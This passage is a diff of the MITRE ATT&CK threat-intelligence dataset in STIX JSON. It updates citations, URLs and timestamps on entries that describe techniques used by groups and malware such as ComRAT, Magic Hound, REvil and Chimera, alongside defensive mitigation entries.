"description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020." } ], - "description": "[ComRAT](https://attack.mitre.org/software/S0126) has the ability to use the Gmail web UI to receive commands and exfiltrate information.(Citation: ESET ComRAT May 2020)", + "description": "[ComRAT](https://attack.mitre.org/software/S0126) has the ability to use the Gmail web UI to receive commands and exfiltrate information.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020)", "relationship_type": "uses", "id": "relationship--6ff34c78-2c85-4be5-b3db-0ec8543087d9", "type": "relationship", - "modified": "2020-06-29T04:05:19.176Z", + "modified": "2020-12-09T23:26:09.611Z", "created": "2020-06-29T03:41:07.302Z" }, { @@ -209194,13 +210845,18 @@ "source_name": "ESET ComRAT May 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020." + }, + { + "source_name": "CISA ComRAT Oct 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a", + "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020." } ], - "description": "[ComRAT](https://attack.mitre.org/software/S0126) can use SSL/TLS encryption for its HTTP-based C2 channel. [ComRAT](https://attack.mitre.org/software/S0126) has used public key cryptography with RSA and AES encrypted email attachments for its Gmail C2 channel.(Citation: ESET ComRAT May 2020)", + "description": "[ComRAT](https://attack.mitre.org/software/S0126) can use SSL/TLS encryption for its HTTP-based C2 channel. [ComRAT](https://attack.mitre.org/software/S0126) has used public key cryptography with RSA and AES encrypted email attachments for its Gmail C2 channel.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020) ", "relationship_type": "uses", "id": "relationship--217ad0a6-f693-416e-9ae4-bcc0c533ce9f", "type": "relationship", - "modified": "2020-06-30T22:03:27.124Z", + "modified": "2020-12-11T20:25:41.108Z", "created": "2020-06-29T04:05:19.098Z" }, { @@ -210236,132 +211892,6 @@ "modified": "2020-07-03T22:15:24.515Z", "created": "2020-07-03T22:15:24.515Z" }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "intrusion-set--92d5b3fd-3b39-438e-af68-770e447beada", - "target_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148", - "external_references": [ - { - "source_name": "ClearSky Charming Kitten Dec 2017", - "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.", - "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf" - } - ], - "description": "(Citation: ClearSky Charming Kitten Dec 2017)", - "relationship_type": "uses", - "id": "relationship--b49fa23f-285c-4a8d-81c6-995747e4a84b", - "type": "relationship", - "modified": "2020-07-04T22:20:47.110Z", - "created": "2020-07-04T22:20:47.110Z" - }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", - "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", - "external_references": [ - { - "source_name": "Check Point Rocket Kitten", - "url": "https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf", - "description": "Check Point Software Technologies. (2015). ROCKET KITTEN: A CAMPAIGN WITH 9 LIVES. Retrieved March 16, 2018." - } - ], - "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has used personalized spearphishing attachments.(Citation: Check Point Rocket Kitten)", - "relationship_type": "uses", - "id": "relationship--656f97ff-d577-4c1b-af7a-02497fcadddb", - "type": "relationship", - "modified": "2020-07-04T22:55:43.416Z", - "created": "2020-07-04T22:55:43.416Z" - }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", - "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", - "external_references": [ - { - "source_name": "Check Point Rocket Kitten", - "url": "https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf", - "description": "Check Point Software Technologies. (2015). ROCKET KITTEN: A CAMPAIGN WITH 9 LIVES. Retrieved March 16, 2018." - } - ], - "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) used FireMalv, custom-developed malware, which collected passwords from the Firefox browser storage.(Citation: Check Point Rocket Kitten)", - "relationship_type": "uses", - "id": "relationship--6b901fc7-8aae-414b-96f2-2b626356cf38", - "type": "relationship", - "modified": "2020-07-04T22:55:43.422Z", - "created": "2020-07-04T22:55:43.422Z" - }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", - "target_ref": "tool--fbd727ea-c0dc-42a9-8448-9e12962d1ab5", - "external_references": [ - { - "source_name": "Check Point Rocket Kitten", - "url": "https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf", - "description": "Check Point Software Technologies. (2015). ROCKET KITTEN: A CAMPAIGN WITH 9 LIVES. Retrieved March 16, 2018." - } - ], - "description": "(Citation: Check Point Rocket Kitten)", - "relationship_type": "uses", - "id": "relationship--44a71143-9a40-4307-8b8c-8b1ac0cf230d", - "type": "relationship", - "modified": "2020-07-04T22:55:43.581Z", - "created": "2020-07-04T22:55:43.581Z" - }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", - "target_ref": "tool--9a2640c2-9f43-46fe-b13f-bde881e55555", - "external_references": [ - { - "source_name": "Check Point Rocket Kitten", - "url": "https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf", - "description": "Check Point Software Technologies. (2015). ROCKET KITTEN: A CAMPAIGN WITH 9 LIVES. Retrieved March 16, 2018." - } - ], - "description": "(Citation: Check Point Rocket Kitten)", - "relationship_type": "uses", - "id": "relationship--de3436a3-b33f-4b47-a3c7-8204a67b4123", - "type": "relationship", - "modified": "2020-07-04T22:55:43.585Z", - "created": "2020-07-04T22:55:43.585Z" - }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", - "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", - "external_references": [ - { - "source_name": "FireEye Operation Saffron Rose 2013", - "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-operation-saffron-rose.pdf", - "description": "Villeneuve, N. et al.. (2013). OPERATION SAFFRON ROSE . Retrieved May 28, 2020." - } - ], - "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has lured victims into executing malicious files.(Citation: FireEye Operation Saffron Rose 2013)", - "relationship_type": "uses", - "id": "relationship--ef5ae5a4-69ed-4ca1-b1b7-6cb854b49550", - "type": "relationship", - "modified": "2020-07-04T23:30:04.875Z", - "created": "2020-07-04T23:30:04.875Z" - }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -210370,11 +211900,6 @@ "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "target_ref": "attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317", "external_references": [ - { - "source_name": "FireEye Operation Saffron Rose 2013", - "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-operation-saffron-rose.pdf", - "description": "Villeneuve, N. et al.. (2013). OPERATION SAFFRON ROSE . Retrieved May 28, 2020." - }, { "source_name": "SecureWorks Mia Ash July 2017", "description": "Counter Threat Unit Research Team. (2017, July 27). The Curious Case of Mia Ash: Fake Persona Lures Middle Eastern Targets. Retrieved February 26, 2018.", @@ -210386,11 +211911,11 @@ "description": "Burt, T.. (2019, March 27). New steps to protect customers from hacking. Retrieved May 27, 2020." } ], - "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) used various social media channels to spearphish victims.(Citation: FireEye Operation Saffron Rose 2013)(Citation: SecureWorks Mia Ash July 2017)(Citation: Microsoft Phosphorus Mar 2019)", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) used various social media channels to spearphish victims.(Citation: SecureWorks Mia Ash July 2017)(Citation: Microsoft Phosphorus Mar 2019)", "relationship_type": "uses", "id": "relationship--d432f9c7-1211-4485-bac3-b35edc38d501", "type": "relationship", - "modified": "2020-07-04T23:30:04.892Z", + "modified": "2021-04-14T14:10:54.346Z", "created": "2020-07-04T23:30:04.892Z" }, { @@ -212821,27 +214346,6 @@ "modified": "2020-10-21T17:38:02.728Z", "created": "2020-07-20T13:25:54.607Z" }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", - "target_ref": "attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6", - "external_references": [ - { - "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", - "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html", - "source_name": "Cylance Machete Mar 2017" - } - ], - "description": "[Machete](https://attack.mitre.org/groups/G0095) has used free dynamic DNS domains for C2.(Citation: Cylance Machete Mar 2017)", - "relationship_type": "uses", - "id": "relationship--f5bde9a2-b753-4fac-955a-6dcb541b412d", - "type": "relationship", - "modified": "2020-07-21T18:31:54.336Z", - "created": "2020-07-21T18:31:54.336Z" - }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -215024,7 +216528,7 @@ ], "description": "Use multi-factor authentication for cloud accounts, especially privileged accounts. This can be implemented in a variety of forms (e.g. hardware, virtual, SMS), and can also be audited using administrative reporting features.(Citation: AWS - IAM Console Best Practices)", "type": "relationship", - "modified": "2020-10-19T16:01:22.267Z", + "modified": "2021-03-16T12:45:15.575Z", "created": "2020-08-04T13:26:34.212Z" }, { @@ -215057,7 +216561,7 @@ }, { "source_name": "Intel 471 REvil March 2020", - "url": "https://blog.intel471.com/2020/03/31/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", + "url": "https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020." }, { @@ -215070,7 +216574,7 @@ "relationship_type": "uses", "id": "relationship--a0ff37b8-1a73-45dd-a645-fe2a43fad9f6", "type": "relationship", - "modified": "2020-10-05T15:52:55.058Z", + "modified": "2021-04-06T14:42:52.389Z", "created": "2020-08-04T15:35:30.353Z" }, { @@ -215098,7 +216602,7 @@ }, { "source_name": "Intel 471 REvil March 2020", - "url": "https://blog.intel471.com/2020/03/31/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", + "url": "https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020." }, { @@ -215121,7 +216625,7 @@ "relationship_type": "uses", "id": "relationship--8b12a0c5-9e30-47ef-a786-5c5eeaf52240", "type": "relationship", - "modified": "2020-08-05T19:35:39.714Z", + "modified": "2021-04-06T14:42:52.400Z", "created": "2020-08-04T15:35:30.364Z" }, { @@ -215247,7 +216751,7 @@ }, { "source_name": "Intel 471 REvil March 2020", - "url": "https://blog.intel471.com/2020/03/31/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", + "url": "https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020." }, { @@ -215265,7 +216769,7 @@ "relationship_type": "uses", "id": "relationship--598d55da-c5f9-447c-acad-0c611f1deda0", "type": "relationship", - "modified": "2020-08-14T15:20:58.230Z", + "modified": "2021-04-06T14:42:52.474Z", "created": "2020-08-04T16:03:24.312Z" }, { @@ -215319,7 +216823,7 @@ }, { "source_name": "Intel 471 REvil March 2020", - "url": "https://blog.intel471.com/2020/03/31/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", + "url": "https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020." }, { @@ -215337,7 +216841,7 @@ "relationship_type": "uses", "id": "relationship--31bf8ae4-e757-462c-aa30-c4a9dd92c677", "type": "relationship", - "modified": "2020-08-14T15:20:58.310Z", + "modified": "2021-04-06T14:42:52.533Z", "created": "2020-08-04T16:03:24.329Z" }, { @@ -215370,7 +216874,7 @@ }, { "source_name": "Intel 471 REvil March 2020", - "url": "https://blog.intel471.com/2020/03/31/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", + "url": "https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020." }, { @@ -215382,13 +216886,18 @@ "source_name": "Secureworks REvil September 2019", "url": "https://www.secureworks.com/research/revil-sodinokibi-ransomware", "description": "Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020." + }, + { + "source_name": "Tetra Defense Sodinokibi March 2020", + "url": "https://www.tetradefense.com/incident-response-services/cause-and-effect-sodinokibi-ransomware-analysis", + "description": "Tetra Defense. (2020, March). CAUSE AND EFFECT: SODINOKIBI RANSOMWARE ANALYSIS. Retrieved December 14, 2020." } ], - "description": "[REvil](https://attack.mitre.org/software/S0496) can encrypt files on victim systems and demands a ransom to decrypt the files.(Citation: Kaspersky Sodin July 2019)(Citation: Cylance Sodinokibi July 2019)(Citation: Talos Sodinokibi April 2019)(Citation: McAfee REvil October 2019)(Citation: Intel 471 REvil March 2020)(Citation: Picus Sodinokibi January 2020)(Citation: Secureworks REvil September 2019)", + "description": "[REvil](https://attack.mitre.org/software/S0496) can encrypt files on victim systems and demands a ransom to decrypt the files.(Citation: Kaspersky Sodin July 2019)(Citation: Cylance Sodinokibi July 2019)(Citation: Talos Sodinokibi April 2019)(Citation: McAfee REvil October 2019)(Citation: Intel 471 REvil March 2020)(Citation: Picus Sodinokibi January 2020)(Citation: Secureworks REvil September 2019)(Citation: Tetra Defense Sodinokibi March 2020)", "relationship_type": "uses", "id": "relationship--1c30f3e0-f621-4e59-934d-f4091cb9eca5", "type": "relationship", - "modified": "2020-08-14T15:20:58.333Z", + "modified": "2021-04-06T14:42:52.649Z", "created": "2020-08-04T16:03:24.341Z" }, { @@ -215421,7 +216930,7 @@ }, { "source_name": "Intel 471 REvil March 2020", - "url": "https://blog.intel471.com/2020/03/31/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", + "url": "https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020." }, { @@ -215434,7 +216943,7 @@ "relationship_type": "uses", "id": "relationship--74972bfd-6910-4602-8327-5cc6db07e48a", "type": "relationship", - "modified": "2020-08-14T15:20:58.420Z", + "modified": "2021-04-06T14:42:52.646Z", "created": "2020-08-04T16:03:24.327Z" }, { @@ -215498,7 +217007,7 @@ }, { "source_name": "Intel 471 REvil March 2020", - "url": "https://blog.intel471.com/2020/03/31/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", + "url": "https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020." }, { @@ -215511,7 +217020,7 @@ "relationship_type": "uses", "id": "relationship--bb231cc6-fa7f-411f-9ec8-392572474e57", "type": "relationship", - "modified": "2020-08-05T19:35:40.025Z", + "modified": "2021-04-06T14:42:52.661Z", "created": "2020-08-04T19:13:49.950Z" }, { @@ -215539,7 +217048,7 @@ }, { "source_name": "Intel 471 REvil March 2020", - "url": "https://blog.intel471.com/2020/03/31/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", + "url": "https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020." }, { @@ -215552,7 +217061,7 @@ "relationship_type": "uses", "id": "relationship--2c927351-d98a-4734-83db-82ad3231e59f", "type": "relationship", - "modified": "2020-08-05T19:35:40.027Z", + "modified": "2021-04-06T14:42:52.656Z", "created": "2020-08-04T19:13:49.965Z" }, { @@ -215590,7 +217099,7 @@ }, { "source_name": "Intel 471 REvil March 2020", - "url": "https://blog.intel471.com/2020/03/31/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", + "url": "https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020." }, { @@ -215602,13 +217111,18 @@ "source_name": "Secureworks REvil September 2019", "url": "https://www.secureworks.com/research/revil-sodinokibi-ransomware", "description": "Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020." + }, + { + "source_name": "Tetra Defense Sodinokibi March 2020", + "url": "https://www.tetradefense.com/incident-response-services/cause-and-effect-sodinokibi-ransomware-analysis", + "description": "Tetra Defense. (2020, March). CAUSE AND EFFECT: SODINOKIBI RANSOMWARE ANALYSIS. Retrieved December 14, 2020." } ], - "description": "[REvil](https://attack.mitre.org/software/S0496) can use vssadmin to delete volume shadow copies and bcdedit to disable recovery features.(Citation: Kaspersky Sodin July 2019)(Citation: Cylance Sodinokibi July 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: Talos Sodinokibi April 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: Intel 471 REvil March 2020)(Citation: Picus Sodinokibi January 2020)(Citation: Secureworks REvil September 2019)", + "description": "[REvil](https://attack.mitre.org/software/S0496) can use vssadmin to delete volume shadow copies and bcdedit to disable recovery features.(Citation: Kaspersky Sodin July 2019)(Citation: Cylance Sodinokibi July 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: Talos Sodinokibi April 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: Intel 471 REvil March 2020)(Citation: Picus Sodinokibi January 2020)(Citation: Secureworks REvil September 2019)(Citation: Tetra Defense Sodinokibi March 2020)", "relationship_type": "uses", "id": "relationship--e8924eab-e270-43ed-8d7b-8e14cb739720", "type": "relationship", - "modified": "2020-08-14T15:20:58.442Z", + "modified": "2021-04-06T14:42:52.653Z", "created": "2020-08-04T19:13:50.025Z" }, { @@ -215652,7 +217166,7 @@ }, { "source_name": "Intel 471 REvil March 2020", - "url": "https://blog.intel471.com/2020/03/31/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", + "url": "https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020." }, { @@ -215665,7 +217179,7 @@ "relationship_type": "uses", "id": "relationship--23bd8751-1083-4c0b-8ec1-b5f637c5fbc7", "type": "relationship", - "modified": "2020-08-05T17:04:56.136Z", + "modified": "2021-04-06T14:42:52.727Z", "created": "2020-08-04T19:38:36.952Z" }, { @@ -215764,7 +217278,7 @@ "relationship_type": "uses", "id": "relationship--2c66270f-e6eb-4f0b-9006-9be7fcc9ba3a", "type": "relationship", - "modified": "2020-08-05T14:30:34.357Z", + "modified": "2021-01-20T22:19:02.405Z", "created": "2020-08-05T14:30:34.357Z" }, { @@ -215777,7 +217291,7 @@ "external_references": [ { "source_name": "Intel 471 REvil March 2020", - "url": "https://blog.intel471.com/2020/03/31/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", + "url": "https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020." } ], @@ -215785,7 +217299,7 @@ "relationship_type": "uses", "id": "relationship--e73e1a22-4923-404b-b2f2-5131f8f24e64", "type": "relationship", - "modified": "2020-08-05T15:09:37.746Z", + "modified": "2021-04-06T14:42:52.760Z", "created": "2020-08-05T15:09:37.746Z" }, { @@ -215798,7 +217312,7 @@ "external_references": [ { "source_name": "Intel 471 REvil March 2020", - "url": "https://blog.intel471.com/2020/03/31/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", + "url": "https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020." }, { @@ -215811,7 +217325,7 @@ "relationship_type": "uses", "id": "relationship--50900340-6edc-447c-aa1c-f73f5d72e4c6", "type": "relationship", - "modified": "2020-08-05T19:18:46.763Z", + "modified": "2021-04-06T14:42:52.659Z", "created": "2020-08-05T15:09:37.748Z" }, { @@ -215824,7 +217338,7 @@ "external_references": [ { "source_name": "Intel 471 REvil March 2020", - "url": "https://blog.intel471.com/2020/03/31/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", + "url": "https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020." } ], @@ -215832,7 +217346,7 @@ "relationship_type": "uses", "id": "relationship--965cdcbc-f139-4065-a8cd-ab09674ae20b", "type": "relationship", - "modified": "2020-09-22T18:11:12.439Z", + "modified": "2021-04-06T14:42:52.770Z", "created": "2020-08-05T15:09:37.751Z" }, { @@ -215871,7 +217385,7 @@ }, { "source_name": "Intel 471 REvil March 2020", - "url": "https://blog.intel471.com/2020/03/31/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", + "url": "https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020." } ], @@ -215879,7 +217393,7 @@ "relationship_type": "uses", "id": "relationship--63131350-3239-4272-a155-5d50e174b1e3", "type": "relationship", - "modified": "2020-08-05T19:18:46.563Z", + "modified": "2021-04-06T14:42:52.781Z", "created": "2020-08-05T19:18:46.563Z" }, { @@ -216454,7 +217968,7 @@ "description": "Periodically review user accounts and remove those that are inactive or unnecessary. Limit the ability for user accounts to create additional accounts.", "id": "relationship--ff397dfb-a231-423f-8be0-be01eb2c9d4d", "type": "relationship", - "modified": "2020-10-19T16:01:22.265Z", + "modified": "2021-03-16T12:45:15.588Z", "created": "2020-08-10T14:56:56.689Z" }, { @@ -216489,7 +218003,7 @@ "description": "Routinely check user permissions to ensure only the expected users have the ability to list IAM identities or otherwise discover cloud accounts.", "id": "relationship--8b9e5b99-2df6-47b4-9c97-9bf8dd01821d", "type": "relationship", - "modified": "2020-08-13T16:53:55.553Z", + "modified": "2021-03-16T12:54:41.385Z", "created": "2020-08-11T13:13:12.320Z" }, { @@ -216503,7 +218017,7 @@ "description": "Limit permissions to discover cloud accounts in accordance with least privilege. Organizations should limit the number of users within the organization with an IAM role that has administrative privileges, strive to reduce all permanent privileged role assignments, and conduct periodic entitlement reviews on IAM users, roles and policies.", "id": "relationship--e73bf2f8-b009-4555-8fda-3407fa87c812", "type": "relationship", - "modified": "2020-08-13T16:53:55.563Z", + "modified": "2021-03-16T12:54:41.391Z", "created": "2020-08-11T13:13:12.311Z" }, { @@ -219184,36 +220698,20 @@ "source_name": "Cycraft Chimera April 2020", "url": "https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf", "description": "Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020." + }, + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021." } ], - "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used modified RAR software to archive data with a password.(Citation: Cycraft Chimera April 2020)", + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used gzip for Linux OS and a modified RAR software to archive data on Windows hosts.(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)", "relationship_type": "uses", "id": "relationship--49fb7af8-50cf-4af5-9195-40b2351fa6dc", "type": "relationship", - "modified": "2020-09-22T19:30:17.726Z", + "modified": "2021-01-22T17:03:26.320Z", "created": "2020-08-27T17:29:04.925Z" }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", - "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", - "external_references": [ - { - "source_name": "Cycraft Chimera April 2020", - "url": "https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf", - "description": "Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020." - } - ], - "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used Google Cloud's appspot service to host C2 servers.(Citation: Cycraft Chimera April 2020)", - "relationship_type": "uses", - "id": "relationship--298e8a10-95d3-4dc1-a7c1-d4ec75b0874b", - "type": "relationship", - "modified": "2020-09-22T19:30:17.724Z", - "created": "2020-08-27T17:29:04.961Z" - }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -219268,13 +220766,18 @@ "source_name": "Cycraft Chimera April 2020", "url": "https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf", "description": "Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020." + }, + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021." } ], - "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used WMIC to execute remote commands.(Citation: Cycraft Chimera April 2020)", + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used WMIC to execute remote commands.(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)", "relationship_type": "uses", "id": "relationship--e40a416e-ca15-4c15-b469-20549b81e6bd", "type": "relationship", - "modified": "2020-08-27T17:29:05.225Z", + "modified": "2021-01-22T16:37:04.342Z", "created": "2020-08-27T17:29:05.225Z" }, { @@ -219289,13 +220792,18 @@ "source_name": "Cycraft Chimera April 2020", "url": "https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf", "description": "Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020." + }, + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021." } ], - "description": "[Chimera](https://attack.mitre.org/groups/G0114) has has used net user /dom to enumerate domain accounts.(Citation: Cycraft Chimera April 2020)", + "description": 